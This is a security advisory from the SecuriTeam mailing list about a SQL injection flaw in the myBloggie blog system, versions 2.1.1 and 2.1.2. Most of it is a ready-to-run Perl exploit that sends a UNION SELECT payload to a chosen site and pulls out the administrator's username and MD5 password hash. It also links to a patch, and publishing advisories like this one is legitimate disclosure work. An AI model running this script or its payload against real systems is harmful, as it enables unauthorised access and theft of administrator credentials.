[EXPL] myBloggie SQL Injection (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  myBloggie SQL Injection (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://mywebland.com/> myBloggie is "considered one of the most simple, 
user-friendliest yet packed with features Weblog system available to date. 
Built using PHP and mySQL, web most popular scripting language and 
database system enable myBloggie to be installed in any web servers".

The following exploit will try to retrieve password HASH used by 
administrator of the myBloggie product.

DETAILS

Vulnerable Systems:
 * myBloggie version 2.1.1
 * myBloggie version 2.1.2

#!/usr/bin/perl -w
#
# SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2
# This exploit show the username of the administrator of the blog and his 
password crypted in MD5
# Related advisories: (Italian) 
http://www.codebug.org/index.php?subaction=showfull&id=1115310052&ucat=6&
# Patch: http://mywebland.com/forums/viewtopic.php?t=180
# Coded by Alberto Trivero and Discovered with CorryL

use LWP::Simple;

print "\n\t =\n";
print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t =\n\n";

if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' 
and $ARGV[1] ne '2.1.2')) {
   print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 
2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n";
   exit(0);
}

$url=q[index.php?month_no=1&year=1&mode=viewdate&". 
"date_no=1%20UNION%20SELECT%20null,null,null,null,user". 
",password,null,null,null,null%20FROM%20blog_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
if($ARGV[1] eq '2.1.1') {
   $page=~m/<tr><td colspan="3" class="subject">(.*?)<\/td><\/tr>/ && 
print "[+] Username of administrator is: $1\n";
   print "[-] Unable to retrieve username\n" if(!$1);
}
else {
   $page=~m/<img src="templates\/aura\/images\/permalink.gif" border="0" 
title="Permalink"><\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of 
administrator is: $1\n";
   print "[-] Unable to retrieve username\n" if(!$1);
}
$page=~m/<tr><td colspan="3" class="message">(.*?)<\/td><\/tr>/ && print 
"[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);


ADDITIONAL INFORMATION

The information has been provided by Alberto Trivero.
The original article can be found at:  
<http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt> 
http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt
The original article can be found at:  
<http://www.codebug.org/index.php?subaction=showfull&id=1115310052&archive=&start_from=&ucat=6&> http://www.codebug.org/index.php?subaction=showfull&id=1115310052&ucat=6&



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.